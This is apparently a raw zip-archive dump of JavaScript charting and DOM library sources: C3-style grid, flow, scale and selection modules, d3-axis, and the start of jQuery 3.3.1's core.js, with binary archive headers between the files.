        $$.updateYGrid();
    }
    ygridLine = main.select('.' + CLASS.ygridLines).selectAll('.' + CLASS.ygridLine)
        .data(config.grid_y_lines);
    // enter
    ygridLineEnter = ygridLine.enter().append('g')
        .attr("class", function (d) { return CLASS.ygridLine + (d['class'] ? ' ' + d['class'] : ''); });
    ygridLineEnter.append('line')
        .attr("x1", config.axis_rotated ? yv : 0)
        .attr("x2", config.axis_rotated ? yv : $$.width)
        .attr("y1", config.axis_rotated ? 0 : yv)
        .attr("y2", config.axis_rotated ? $$.height : yv)
        .style("opacity", 0);
    ygridLineEnter.append('text')
        .attr("text-anchor", $$.gridTextAnchor)
        .attr("transform", config.axis_rotated ? "rotate(-90)" : "")
        .attr("x", config.axis_rotated ? xGridTextX : yGridTextX)
        .attr("y", yv)
        .attr('dx', $$.gridTextDx)
        .attr('dy', -5)
        .style("opacity", 0);
    // update
    $$.ygridLines = ygridLineEnter.merge(ygridLine);
    $$.ygridLines.select('line')
      .transition().duration(duration)
        .attr("x1", config.axis_rotated ? yv : 0)
        .attr("x2", config.axis_rotated ? yv : $$.width)
        .attr("y1", config.axis_rotated ? 0 : yv)
        .attr("y2", config.axis_rotated ? $$.height : yv)
        .style("opacity", 1);
    $$.ygridLines.select('text')
      .transition().duration(duration)
        .attr("x", config.axis_rotated ? $$.xGridTextX.bind($$) : $$.yGridTextX.bind($$))
        .attr("y", yv)
        .text(function (d) { return d.text; })
        .style("opacity", 1);
    // exit
    ygridLine.exit().transition().duration(duration)
        .style("opacity", 0)
        .remove();
};
ChartInternal.prototype.redrawGrid = function (withTransition, transition) {
    var $$ = this, config = $$.config, xv = $$.xv.bind($$),
        lines = $$.xgridLines.select('line'),
        texts = $$.xgridLines.select('text');
    return [
        (withTransition ? lines.transition(transition) : lines)
            .attr("x1", config.axis_rotated ? 0 : xv)
            .attr("x2", config.axis_rotated ? $$.width : xv)
            .attr("y1", config.axis_rotated ? xv : 0)
            .attr("y2", config.axis_rotated ? xv : $$.height)
            .style("opacity", 1),
        (withTransition ? texts.transition(transition) : texts)
            .attr("x", config.axis_rotated ? $$.yGridTextX.bind($$) : $$.xGridTextX.bind($$))
            .attr("y", xv)
            .text(function (d) { return d.text; })
            .style("opacity", 1)
    ];
};
ChartInternal.prototype.showXGridFocus = function (selectedData) {
    var $$ = this, config = $$.config,
        dataToShow = selectedData.filter(function (d) { return d && isValue(d.value); }),
        focusEl = $$.main.selectAll('line.' + CLASS.xgridFocus),
        xx = $$.xx.bind($$);
    if (! config.tooltip_show) { return; }
    // Hide when scatter plot exists
    if ($$.hasType('scatter') || $$.hasArcType()) { return; }
    focusEl
        .style("visibility", "visible")
        .data([dataToShow[0]])
        .attr(config.axis_rotated ? 'y1' : 'x1', xx)
        .attr(config.axis_rotated ? 'y2' : 'x2', xx);
    $$.smoothLines(focusEl, 'grid');
};
ChartInternal.prototype.hideXGridFocus = function () {
    this.main.select('line.' + CLASS.xgridFocus).style("visibility", "hidden");
};
ChartInternal.prototype.updateXgridFocus = function () {
    var $$ = this, config = $$.config;
    $$.main.select('line.' + CLASS.xgridFocus)
        .attr("x1", config.axis_rotated ? 0 : -10)
        .attr("x2", config.axis_rotated ? $$.width : -10)
        .attr("y1", config.axis_rotated ? -10 : 0)
        .attr("y2", config.axis_rotated ? -10 : $$.height);
};
ChartInternal.prototype.generateGridData = function (type, scale) {
    var $$ = this,
        gridData = [], xDomain, firstYear, lastYear, i,
        tickNum = $$.main.select("." + CLASS.axisX).selectAll('.tick').size();
    if (type === 'year') {
        xDomain = $$.getXDomain();
        firstYear = xDomain[0].getFullYear();
        lastYear = xDomain[1].getFullYear();
        for (i = firstYear; i <= lastYear; i++) {
            gridData.push(new Date(i + '-01-01 00:00:00'));
        }
    } else {
        gridData = scale.ticks(10);
        if (gridData.length > tickNum) { // use only int
            gridData = gridData.filter(function (d) { return ("" + d).indexOf('.') < 0; });
        }
    }
    return gridData;
};
ChartInternal.prototype.getGridFilterToRemove = function (params) {
    return params ? function (line) {
        var found = false;
        [].concat(params).forEach(function (param) {
            if ((('value' in param && line.value === param.value) || ('class' in param && line['class'] === param['class']))) {
                found = true;
            }
        });
        return found;
    } : function () { return true; };
};
ChartInternal.prototype.removeGridLines = function (params, forX) {
    var $$ = this, config = $$.config,
        toRemove = $$.getGridFilterToRemove(params),
        toShow = function (line) { return !toRemove(line); },
        classLines = forX ? CLASS.xgridLines : CLASS.ygridLines,
        classLine = forX ? CLASS.xgridLine : CLASS.ygridLine;
    $$.main.select('.' + classLines).selectAll('.' + classLine).filter(toRemove)
        .transition().duration(config.transition_duration)
        .style('opacity', 0).remove();
    if (forX) {
        config.grid_x_lines = config.grid_x_lines.filter(toShow);
    } else {
        config.grid_y_lines = config.grid_y_lines.filter(toShow);
    }
};
PKK|�\���0-0-api.flow.jsnu�[���import CLASS from './class';
import { Chart, ChartInternal } from './core';
import { isValue, isDefined, diffDomain } from './util';

Chart.prototype.flow = function (args) {
    var $$ = this.internal,
        targets, data, notfoundIds = [], orgDataCount = $$.getMaxDataCount(),
        dataCount, domain, baseTarget, baseValue, length = 0, tail = 0, diff, to;

    if (args.json) {
        data = $$.convertJsonToData(args.json, args.keys);
    }
    else if (args.rows) {
        data = $$.convertRowsToData(args.rows);
    }
    else if (args.columns) {
        data = $$.convertColumnsToData(args.columns);
    }
    else {
        return;
    }
    targets = $$.convertDataToTargets(data, true);

    // Update/Add data
    $$.data.targets.forEach(function (t) {
        var found = false, i, j;
        for (i = 0; i < targets.length; i++) {
            if (t.id === targets[i].id) {
                found = true;

                if (t.values[t.values.length - 1]) {
                    tail = t.values[t.values.length - 1].index + 1;
                }
                length = targets[i].values.length;

                for (j = 0; j < length; j++) {
                    targets[i].values[j].index = tail + j;
                    if (!$$.isTimeSeries()) {
                        targets[i].values[j].x = tail + j;
                    }
                }
                t.values = t.values.concat(targets[i].values);

                targets.splice(i, 1);
                break;
            }
        }
        if (!found) { notfoundIds.push(t.id); }
    });

    // Append null for not found targets
    $$.data.targets.forEach(function (t) {
        var i, j;
        for (i = 0; i < notfoundIds.length; i++) {
            if (t.id === notfoundIds[i]) {
                tail = t.values[t.values.length - 1].index + 1;
                for (j = 0; j < length; j++) {
                    t.values.push({
                        id: t.id,
                        index: tail + j,
                        x: $$.isTimeSeries() ? $$.getOtherTargetX(tail + j) : tail + j,
                        value: null
                    });
                }
            }
        }
    });

    // Generate null values for new target
    if ($$.data.targets.length) {
        targets.forEach(function (t) {
            var i, missing = [];
            for (i = $$.data.targets[0].values[0].index; i < tail; i++) {
                missing.push({
                    id: t.id,
                    index: i,
                    x: $$.isTimeSeries() ? $$.getOtherTargetX(i) : i,
                    value: null
                });
            }
            t.values.forEach(function (v) {
                v.index += tail;
                if (!$$.isTimeSeries()) {
                    v.x += tail;
                }
            });
            t.values = missing.concat(t.values);
        });
    }
    $$.data.targets = $$.data.targets.concat(targets); // add remained

    // check data count because behavior needs to change when it's only one
    dataCount = $$.getMaxDataCount();
    baseTarget = $$.data.targets[0];
    baseValue = baseTarget.values[0];

    // Update length to flow if needed
    if (isDefined(args.to)) {
        length = 0;
        to = $$.isTimeSeries() ? $$.parseDate(args.to) : args.to;
        baseTarget.values.forEach(function (v) {
            if (v.x < to) { length++; }
        });
    } else if (isDefined(args.length)) {
        length = args.length;
    }

    // If only one data, update the domain to flow from left edge of the chart
    if (!orgDataCount) {
        if ($$.isTimeSeries()) {
            if (baseTarget.values.length > 1) {
                diff = baseTarget.values[baseTarget.values.length - 1].x - baseValue.x;
            } else {
                diff = baseValue.x - $$.getXDomain($$.data.targets)[0];
            }
        } else {
            diff = 1;
        }
        domain = [baseValue.x - diff, baseValue.x];
        $$.updateXDomain(null, true, true, false, domain);
    } else if (orgDataCount === 1) {
        if ($$.isTimeSeries()) {
            diff = (baseTarget.values[baseTarget.values.length - 1].x - baseValue.x) / 2;
            domain = [new Date(+baseValue.x - diff), new Date(+baseValue.x + diff)];
            $$.updateXDomain(null, true, true, false, domain);
        }
    }

    // Set targets
    $$.updateTargets($$.data.targets);

    // Redraw with new targets
    $$.redraw({
        flow: {
            index: baseValue.index,
            length: length,
            duration: isValue(args.duration) ? args.duration : $$.config.transition_duration,
            done: args.done,
            orgDataCount: orgDataCount,
        },
        withLegend: true,
        withTransition: orgDataCount > 1,
        withTrimXDomain: false,
        withUpdateXAxis: true,
    });
};

ChartInternal.prototype.generateFlow = function (args) {
    var $$ = this, config = $$.config, d3 = $$.d3;

    return function () {
        var targets = args.targets,
            flow = args.flow,
            drawBar = args.drawBar,
            drawLine = args.drawLine,
            drawArea = args.drawArea,
            cx = args.cx,
            cy = args.cy,
            xv = args.xv,
            xForText = args.xForText,
            yForText = args.yForText,
            duration = args.duration;

        var translateX, scaleX = 1, transform,
            flowIndex = flow.index,
            flowLength = flow.length,
            flowStart = $$.getValueOnIndex($$.data.targets[0].values, flowIndex),
            flowEnd = $$.getValueOnIndex($$.data.targets[0].values, flowIndex + flowLength),
            orgDomain = $$.x.domain(), domain,
            durationForFlow = flow.duration || duration,
            done = flow.done || function () {},
            wait = $$.generateWait();

        var xgrid,
            xgridLines,
            mainRegion,
            mainText,
            mainBar,
            mainLine,
            mainArea,
            mainCircle;

        // set flag
        $$.flowing = true;

        // remove head data after rendered
        $$.data.targets.forEach(function (d) {
            d.values.splice(0, flowLength);
        });

        // update x domain to generate axis elements for flow
        domain = $$.updateXDomain(targets, true, true);
        // update elements related to x scale
        if ($$.updateXGrid) { $$.updateXGrid(true); }

        xgrid = $$.xgrid || d3.selectAll([]); // xgrid needs to be obtained after updateXGrid
        xgridLines = $$.xgridLines || d3.selectAll([]);
        mainRegion = $$.mainRegion || d3.selectAll([]);
        mainText = $$.mainText || d3.selectAll([]);
        mainBar = $$.mainBar || d3.selectAll([]);
        mainLine = $$.mainLine || d3.selectAll([]);
        mainArea = $$.mainArea || d3.selectAll([]);
        mainCircle = $$.mainCircle || d3.selectAll([]);

        // generate transform to flow
        if (!flow.orgDataCount) { // if empty
            if ($$.data.targets[0].values.length !== 1) {
                translateX = $$.x(orgDomain[0]) - $$.x(domain[0]);
            } else {
                if ($$.isTimeSeries()) {
                    flowStart = $$.getValueOnIndex($$.data.targets[0].values, 0);
                    flowEnd = $$.getValueOnIndex($$.data.targets[0].values, $$.data.targets[0].values.length - 1);
                    translateX = $$.x(flowStart.x) - $$.x(flowEnd.x);
                } else {
                    translateX = diffDomain(domain) / 2;
                }
            }
        } else if (flow.orgDataCount === 1 || (flowStart && flowStart.x) === (flowEnd && flowEnd.x)) {
            translateX = $$.x(orgDomain[0]) - $$.x(domain[0]);
        } else {
            if ($$.isTimeSeries()) {
                translateX = ($$.x(orgDomain[0]) - $$.x(domain[0]));
            } else {
                translateX = ($$.x(flowStart.x) - $$.x(flowEnd.x));
            }
        }
        scaleX = (diffDomain(orgDomain) / diffDomain(domain));
        transform = 'translate(' + translateX + ',0) scale(' + scaleX + ',1)';

        $$.hideXGridFocus();

        var flowTransition = d3.transition().ease(d3.easeLinear).duration(durationForFlow);
        wait.add($$.xAxis($$.axes.x, flowTransition));
        wait.add(mainBar.transition(flowTransition).attr('transform', transform));
        wait.add(mainLine.transition(flowTransition).attr('transform', transform));
        wait.add(mainArea.transition(flowTransition).attr('transform', transform));
        wait.add(mainCircle.transition(flowTransition).attr('transform', transform));
        wait.add(mainText.transition(flowTransition).attr('transform', transform));
        wait.add(mainRegion.filter($$.isRegionOnX).transition(flowTransition).attr('transform', transform));
        wait.add(xgrid.transition(flowTransition).attr('transform', transform));
        wait.add(xgridLines.transition(flowTransition).attr('transform', transform));
        wait(function () {
            var i, shapes = [], texts = [];

            // remove flowed elements
            if (flowLength) {
                for (i = 0; i < flowLength; i++) {
                    shapes.push('.' + CLASS.shape + '-' + (flowIndex + i));
                    texts.push('.' + CLASS.text + '-' + (flowIndex + i));
                }
                $$.svg.selectAll('.' + CLASS.shapes).selectAll(shapes).remove();
                $$.svg.selectAll('.' + CLASS.texts).selectAll(texts).remove();
                $$.svg.select('.' + CLASS.xgrid).remove();
            }

            // draw again for removing flowed elements and reverting attr
            xgrid
                .attr('transform', null)
                .attr('x1', $$.xgridAttr.x1)
                .attr('x2', $$.xgridAttr.x2)
                .attr('y1', $$.xgridAttr.y1)
                .attr('y2', $$.xgridAttr.y2)
                .style("opacity", $$.xgridAttr.opacity);
            xgridLines
                .attr('transform', null);
            xgridLines.select('line')
                .attr("x1", config.axis_rotated ? 0 : xv)
                .attr("x2", config.axis_rotated ? $$.width : xv);
            xgridLines.select('text')
                .attr("x", config.axis_rotated ? $$.width : 0)
                .attr("y", xv);
            mainBar
                .attr('transform', null)
                .attr("d", drawBar);
            mainLine
                .attr('transform', null)
                .attr("d", drawLine);
            mainArea
                .attr('transform', null)
                .attr("d", drawArea);
            mainCircle
                .attr('transform', null)
                .attr("cx", cx)
                .attr("cy", cy);
            mainText
                .attr('transform', null)
                .attr('x', xForText)
                .attr('y', yForText)
                .style('fill-opacity', $$.opacityForText.bind($$));
            mainRegion
                .attr('transform', null);
            mainRegion.filter($$.isRegionOnX)
                .attr("x", $$.regionX.bind($$))
                .attr("width", $$.regionWidth.bind($$));

            // callback for end of flow
            done();

            $$.flowing = false;
        });
    };
};
PKK|�\��J�qqscale.jsnu�[���import { ChartInternal } from './core';

ChartInternal.prototype.getScale = function (min, max, forTimeseries) {
    return (forTimeseries ? this.d3.scaleTime() : this.d3.scaleLinear()).range([min, max]);
};
ChartInternal.prototype.getX = function (min, max, domain, offset) {
    var $$ = this,
        scale = $$.getScale(min, max, $$.isTimeSeries()),
        _scale = domain ? scale.domain(domain) : scale, key;
    // Define customized scale if categorized axis
    if ($$.isCategorized()) {
        offset = offset || function () { return 0; };
        scale = function (d, raw) {
            var v = _scale(d) + offset(d);
            return raw ? v : Math.ceil(v);
        };
    } else {
        scale = function (d, raw) {
            var v = _scale(d);
            return raw ? v : Math.ceil(v);
        };
    }
    // define functions
    for (key in _scale) {
        scale[key] = _scale[key];
    }
    scale.orgDomain = function () {
        return _scale.domain();
    };
    // define custom domain() for categorized axis
    if ($$.isCategorized()) {
        scale.domain = function (domain) {
            if (!arguments.length) {
                domain = this.orgDomain();
                return [domain[0], domain[1] + 1];
            }
            _scale.domain(domain);
            return scale;
        };
    }
    return scale;
};
ChartInternal.prototype.getY = function (min, max, domain) {
    var scale = this.getScale(min, max, this.isTimeSeriesY());
    if (domain) { scale.domain(domain); }
    return scale;
};
ChartInternal.prototype.getYScale = function (id) {
    return this.axis.getId(id) === 'y2' ? this.y2 : this.y;
};
ChartInternal.prototype.getSubYScale = function (id) {
    return this.axis.getId(id) === 'y2' ? this.subY2 : this.subY;
};
ChartInternal.prototype.updateScales = function () {
    var $$ = this, config = $$.config,
        forInit = !$$.x;
    // update edges
    $$.xMin = config.axis_rotated ? 1 : 0;
    $$.xMax = config.axis_rotated ? $$.height : $$.width;
    $$.yMin = config.axis_rotated ? 0 : $$.height;
    $$.yMax = config.axis_rotated ? $$.width : 1;
    $$.subXMin = $$.xMin;
    $$.subXMax = $$.xMax;
    $$.subYMin = config.axis_rotated ? 0 : $$.height2;
    $$.subYMax = config.axis_rotated ? $$.width2 : 1;
    // update scales
    $$.x = $$.getX($$.xMin, $$.xMax, forInit ? undefined : $$.x.orgDomain(), function () { return $$.xAxis.tickOffset(); });
    $$.y = $$.getY($$.yMin, $$.yMax, forInit ? config.axis_y_default : $$.y.domain());
    $$.y2 = $$.getY($$.yMin, $$.yMax, forInit ? config.axis_y2_default : $$.y2.domain());
    $$.subX = $$.getX($$.xMin, $$.xMax, $$.orgXDomain, function (d) { return d % 1 ? 0 : $$.subXAxis.tickOffset(); });
    $$.subY = $$.getY($$.subYMin, $$.subYMax, forInit ? config.axis_y_default : $$.subY.domain());
    $$.subY2 = $$.getY($$.subYMin, $$.subYMax, forInit ? config.axis_y2_default : $$.subY2.domain());
    // update axes
    $$.xAxisTickFormat = $$.axis.getXAxisTickFormat();
    $$.xAxisTickValues = $$.axis.getXAxisTickValues();
    $$.yAxisTickValues = $$.axis.getYAxisTickValues();
    $$.y2AxisTickValues = $$.axis.getY2AxisTickValues();

    $$.xAxis = $$.axis.getXAxis($$.x, $$.xOrient, $$.xAxisTickFormat, $$.xAxisTickValues, config.axis_x_tick_outer);
    $$.subXAxis = $$.axis.getXAxis($$.subX, $$.subXOrient, $$.xAxisTickFormat, $$.xAxisTickValues, config.axis_x_tick_outer);
    $$.yAxis = $$.axis.getYAxis($$.y, $$.yOrient, config.axis_y_tick_format, $$.yAxisTickValues, config.axis_y_tick_outer);
    $$.y2Axis = $$.axis.getYAxis($$.y2, $$.y2Orient, config.axis_y2_tick_format, $$.y2AxisTickValues, config.axis_y2_tick_outer);

    // Set initialized scales to brush and zoom
    if (!forInit) {
        if ($$.brush) { $$.brush.updateScale($$.subX); }
    }
    // update for arc
    if ($$.updateArc) { $$.updateArc(); }
};
PKK|�\)zDooselection.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';

ChartInternal.prototype.selectPoint = function (target, d, i) {
    var $$ = this, config = $$.config,
        cx = (config.axis_rotated ? $$.circleY : $$.circleX).bind($$),
        cy = (config.axis_rotated ? $$.circleX : $$.circleY).bind($$),
        r = $$.pointSelectR.bind($$);
    config.data_onselected.call($$.api, d, target.node());
    // add selected-circle on low layer g
    $$.main.select('.' + CLASS.selectedCircles + $$.getTargetSelectorSuffix(d.id)).selectAll('.' + CLASS.selectedCircle + '-' + i)
        .data([d])
        .enter().append('circle')
        .attr("class", function () { return $$.generateClass(CLASS.selectedCircle, i); })
        .attr("cx", cx)
        .attr("cy", cy)
        .attr("stroke", function () { return $$.color(d); })
        .attr("r", function (d) { return $$.pointSelectR(d) * 1.4; })
        .transition().duration(100)
        .attr("r", r);
};
ChartInternal.prototype.unselectPoint = function (target, d, i) {
    var $$ = this;
    $$.config.data_onunselected.call($$.api, d, target.node());
    // remove selected-circle from low layer g
    $$.main.select('.' + CLASS.selectedCircles + $$.getTargetSelectorSuffix(d.id)).selectAll('.' + CLASS.selectedCircle + '-' + i)
        .transition().duration(100).attr('r', 0)
        .remove();
};
ChartInternal.prototype.togglePoint = function (selected, target, d, i) {
    selected ? this.selectPoint(target, d, i) : this.unselectPoint(target, d, i);
};
ChartInternal.prototype.selectPath = function (target, d) {
    var $$ = this;
    $$.config.data_onselected.call($$, d, target.node());
    if ($$.config.interaction_brighten) {
        target.transition().duration(100)
            .style("fill", function () { return $$.d3.rgb($$.color(d)).brighter(0.75); });
    }
};
ChartInternal.prototype.unselectPath = function (target, d) {
    var $$ = this;
    $$.config.data_onunselected.call($$, d, target.node());
    if ($$.config.interaction_brighten) {
        target.transition().duration(100)
            .style("fill", function () { return $$.color(d); });
    }
};
ChartInternal.prototype.togglePath = function (selected, target, d, i) {
    selected ? this.selectPath(target, d, i) : this.unselectPath(target, d, i);
};
ChartInternal.prototype.getToggle = function (that, d) {
    var $$ = this, toggle;
    if (that.nodeName === 'circle') {
        if ($$.isStepType(d)) {
            // circle is hidden in step chart, so treat as within the click area
            toggle = function () {}; // TODO: how to select step chart?
        } else {
            toggle = $$.togglePoint;
        }
    }
    else if (that.nodeName === 'path') {
        toggle = $$.togglePath;
    }
    return toggle;
};
ChartInternal.prototype.toggleShape = function (that, d, i) {
    var $$ = this, d3 = $$.d3, config = $$.config,
        shape = d3.select(that), isSelected = shape.classed(CLASS.SELECTED),
        toggle = $$.getToggle(that, d).bind($$);

    if (config.data_selection_enabled && config.data_selection_isselectable(d)) {
        if (!config.data_selection_multiple) {
            $$.main.selectAll('.' + CLASS.shapes + (config.data_selection_grouped ? $$.getTargetSelectorSuffix(d.id) : "")).selectAll('.' + CLASS.shape).each(function (d, i) {
                var shape = d3.select(this);
                if (shape.classed(CLASS.SELECTED)) { toggle(false, shape.classed(CLASS.SELECTED, false), d, i); }
            });
        }
        shape.classed(CLASS.SELECTED, !isSelected);
        toggle(!isSelected, shape, d, i);
    }
};
PKK|�\�k�aaaxis.jsnu�[���import {slice} from "./array";
import identity from "./identity";

var top = 1,
    right = 2,
    bottom = 3,
    left = 4,
    epsilon = 1e-6;

function translateX(x) {
  return "translate(" + (x + 0.5) + ",0)";
}

function translateY(y) {
  return "translate(0," + (y + 0.5) + ")";
}

function number(scale) {
  return function(d) {
    return +scale(d);
  };
}

function center(scale) {
  var offset = Math.max(0, scale.bandwidth() - 1) / 2; // Adjust for 0.5px offset.
  if (scale.round()) offset = Math.round(offset);
  return function(d) {
    return +scale(d) + offset;
  };
}

function entering() {
  return !this.__axis;
}

function axis(orient, scale) {
  var tickArguments = [],
      tickValues = null,
      tickFormat = null,
      tickSizeInner = 6,
      tickSizeOuter = 6,
      tickPadding = 3,
      k = orient === top || orient === left ? -1 : 1,
      x = orient === left || orient === right ? "x" : "y",
      transform = orient === top || orient === bottom ? translateX : translateY;

  function axis(context) {
    var values = tickValues == null ? (scale.ticks ? scale.ticks.apply(scale, tickArguments) : scale.domain()) : tickValues,
        format = tickFormat == null ? (scale.tickFormat ? scale.tickFormat.apply(scale, tickArguments) : identity) : tickFormat,
        spacing = Math.max(tickSizeInner, 0) + tickPadding,
        range = scale.range(),
        range0 = +range[0] + 0.5,
        range1 = +range[range.length - 1] + 0.5,
        position = (scale.bandwidth ? center : number)(scale.copy()),
        selection = context.selection ? context.selection() : context,
        path = selection.selectAll(".domain").data([null]),
        tick = selection.selectAll(".tick").data(values, scale).order(),
        tickExit = tick.exit(),
        tickEnter = tick.enter().append("g").attr("class", "tick"),
        line = tick.select("line"),
        text = tick.select("text");

    path = path.merge(path.enter().insert("path", ".tick")
        .attr("class", "domain")
        .attr("stroke", "currentColor"));

    tick = tick.merge(tickEnter);

    line = line.merge(tickEnter.append("line")
        .attr("stroke", "currentColor")
        .attr(x + "2", k * tickSizeInner));

    text = text.merge(tickEnter.append("text")
        .attr("fill", "currentColor")
        .attr(x, k * spacing)
        .attr("dy", orient === top ? "0em" : orient === bottom ? "0.71em" : "0.32em"));

    if (context !== selection) {
      path = path.transition(context);
      tick = tick.transition(context);
      line = line.transition(context);
      text = text.transition(context);

      tickExit = tickExit.transition(context)
          .attr("opacity", epsilon)
          .attr("transform", function(d) { return isFinite(d = position(d)) ? transform(d) : this.getAttribute("transform"); });

      tickEnter
          .attr("opacity", epsilon)
          .attr("transform", function(d) { var p = this.parentNode.__axis; return transform(p && isFinite(p = p(d)) ? p : position(d)); });
    }

    tickExit.remove();

    path
        .attr("d", orient === left || orient == right
            ? (tickSizeOuter ? "M" + k * tickSizeOuter + "," + range0 + "H0.5V" + range1 + "H" + k * tickSizeOuter : "M0.5," + range0 + "V" + range1)
            : (tickSizeOuter ? "M" + range0 + "," + k * tickSizeOuter + "V0.5H" + range1 + "V" + k * tickSizeOuter : "M" + range0 + ",0.5H" + range1));

    tick
        .attr("opacity", 1)
        .attr("transform", function(d) { return transform(position(d)); });

    line
        .attr(x + "2", k * tickSizeInner);

    text
        .attr(x, k * spacing)
        .text(format);

    selection.filter(entering)
        .attr("fill", "none")
        .attr("font-size", 10)
        .attr("font-family", "sans-serif")
        .attr("text-anchor", orient === right ? "start" : orient === left ? "end" : "middle");

    selection
        .each(function() { this.__axis = position; });
  }

  axis.scale = function(_) {
    return arguments.length ? (scale = _, axis) : scale;
  };

  axis.ticks = function() {
    return tickArguments = slice.call(arguments), axis;
  };

  axis.tickArguments = function(_) {
    return arguments.length ? (tickArguments = _ == null ? [] : slice.call(_), axis) : tickArguments.slice();
  };

  axis.tickValues = function(_) {
    return arguments.length ? (tickValues = _ == null ? null : slice.call(_), axis) : tickValues && tickValues.slice();
  };

  axis.tickFormat = function(_) {
    return arguments.length ? (tickFormat = _, axis) : tickFormat;
  };

  axis.tickSize = function(_) {
    return arguments.length ? (tickSizeInner = tickSizeOuter = +_, axis) : tickSizeInner;
  };

  axis.tickSizeInner = function(_) {
    return arguments.length ? (tickSizeInner = +_, axis) : tickSizeInner;
  };

  axis.tickSizeOuter = function(_) {
    return arguments.length ? (tickSizeOuter = +_, axis) : tickSizeOuter;
  };

  axis.tickPadding = function(_) {
    return arguments.length ? (tickPadding = +_, axis) : tickPadding;
  };

  return axis;
}

export function axisTop(scale) {
  return axis(top, scale);
}

export function axisRight(scale) {
  return axis(right, scale);
}

export function axisBottom(scale) {
  return axis(bottom, scale);
}

export function axisLeft(scale) {
  return axis(left, scale);
}
PKK|�\3�և�$�$core.jsnu�[���/* global Symbol */
// Defining this global in .eslintrc.json would create a danger of using the global
// unguarded in another place, it seems safer to define global only for this module

define( [
	"./var/arr",
	"./var/document",
	"./var/getProto",
	"./var/slice",
	"./var/concat",
	"./var/push",
	"./var/indexOf",
	"./var/class2type",
	"./var/toString",
	"./var/hasOwn",
	"./var/fnToString",
	"./var/ObjectFunctionString",
	"./var/support",
	"./var/isFunction",
	"./var/isWindow",
	"./core/DOMEval",
	"./core/toType"
], function( arr, document, getProto, slice, concat, push, indexOf,
	class2type, toString, hasOwn, fnToString, ObjectFunctionString,
	support, isFunction, isWindow, DOMEval, toType ) {

"use strict";

var
	version = "3.3.1",

	// Define a local copy of jQuery
	jQuery = function( selector, context ) {

		// The jQuery object is actually just the init constructor 'enhanced'
		// Need init if jQuery is called (just allow error to be thrown if not included)
		return new jQuery.fn.init( selector, context );
	},

	// Support: Android <=4.0 only
	// Make sure we trim BOM and NBSP
	rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;

jQuery.fn = jQuery.prototype = {

	// The current version of jQuery being used
	jquery: version,

	constructor: jQuery,

	// The default length of a jQuery object is 0
	length: 0,

	toArray: function() {
		return slice.call( this );
	},

	// Get the Nth element in the matched element set OR
	// Get the whole matched element set as a clean array
	get: function( num ) {

		// Return all the elements in a clean array
		if ( num == null ) {
			return slice.call( this );
		}

		// Return just the one element from the set
		return num < 0 ? this[ num + this.length ] : this[ num ];
	},

	// Take an array of elements and push it onto the stack
	// (returning the new matched element set)
	pushStack: function( elems ) {

		// Build a new jQuery matched element set
		var ret = jQuery.merge( this.constructor(), elems );

		// Add the old object onto the stack (as a reference)
		ret.prevObject = this;

		// Return the newly-formed element set
		return ret;
	},

	// Execute a callback for every element in the matched set.
	each: function( callback ) {
		return jQuery.each( this, callback );
	},

	map: function( callback ) {
		return this.pushStack( jQuery.map( this, function( elem, i ) {
			return callback.call( elem, i, elem );
		} ) );
	},

	slice: function() {
		return this.pushStack( slice.apply( this, arguments ) );
	},

	first: function() {
		return this.eq( 0 );
	},

	last: function() {
		return this.eq( -1 );
	},

	eq: function( i ) {
		var len = this.length,
			j = +i + ( i < 0 ? len : 0 );
		return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );
	},

	end: function() {
		return this.prevObject || this.constructor();
	},

	// For internal use only.
	// Behaves like an Array's method, not like a jQuery method.
	push: push,
	sort: arr.sort,
	splice: arr.splice
};

jQuery.extend = jQuery.fn.extend = function() {
	var options, name, src, copy, copyIsArray, clone,
		target = arguments[ 0 ] || {},
		i = 1,
		length = arguments.length,
		deep = false;

	// Handle a deep copy situation
	if ( typeof target === "boolean" ) {
		deep = target;

		// Skip the boolean and the target
		target = arguments[ i ] || {};
		i++;
	}

	// Handle case when target is a string or something (possible in deep copy)
	if ( typeof target !== "object" && !isFunction( target ) ) {
		target = {};
	}

	// Extend jQuery itself if only one argument is passed
	if ( i === length ) {
		target = this;
		i--;
	}

	for ( ; i < length; i++ ) {

		// Only deal with non-null/undefined values
		if ( ( options = arguments[ i ] ) != null ) {

			// Extend the base object
			for ( name in options ) {
				src = target[ name ];
				copy = options[ name ];

				// Prevent never-ending loop
				if ( target === copy ) {
					continue;
				}

				// Recurse if we're merging plain objects or arrays
				if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
					( copyIsArray = Array.isArray( copy ) ) ) ) {

					if ( copyIsArray ) {
						copyIsArray = false;
						clone = src && Array.isArray( src ) ? src : [];

					} else {
						clone = src && jQuery.isPlainObject( src ) ? src : {};
					}

					// Never move original objects, clone them
					target[ name ] = jQuery.extend( deep, clone, copy );

				// Don't bring in undefined values
				} else if ( copy !== undefined ) {
					target[ name ] = copy;
				}
			}
		}
	}

	// Return the modified object
	return target;
};

jQuery.extend( {

	// Unique for each copy of jQuery on the page
	expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),

	// Assume jQuery is ready without the ready module
	isReady: true,

	error: function( msg ) {
		throw new Error( msg );
	},

	noop: function() {},

	isPlainObject: function( obj ) {
		var proto, Ctor;

		// Detect obvious negatives
		// Use toString instead of jQuery.type to catch host objects
		if ( !obj || toString.call( obj ) !== "[object Object]" ) {
			return false;
		}

		proto = getProto( obj );

		// Objects with no prototype (e.g., `Object.create( null )`) are plain
		if ( !proto ) {
			return true;
		}

		// Objects with prototype are plain iff they were constructed by a global Object function
		Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor;
		return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString;
	},

	isEmptyObject: function( obj ) {

		/* eslint-disable no-unused-vars */
		// See https://github.com/eslint/eslint/issues/6125
		var name;

		for ( name in obj ) {
			return false;
		}
		return true;
	},

	// Evaluates a script in a global context
	globalEval: function( code ) {
		DOMEval( code );
	},

	each: function( obj, callback ) {
		var length, i = 0;

		if ( isArrayLike( obj ) ) {
			length = obj.length;
			for ( ; i < length; i++ ) {
				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
					break;
				}
			}
		} else {
			for ( i in obj ) {
				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
					break;
				}
			}
		}

		return obj;
	},

	// Support: Android <=4.0 only
	trim: function( text ) {
		return text == null ?
			"" :
			( text + "" ).replace( rtrim, "" );
	},

	// results is for internal usage only
	makeArray: function( arr, results ) {
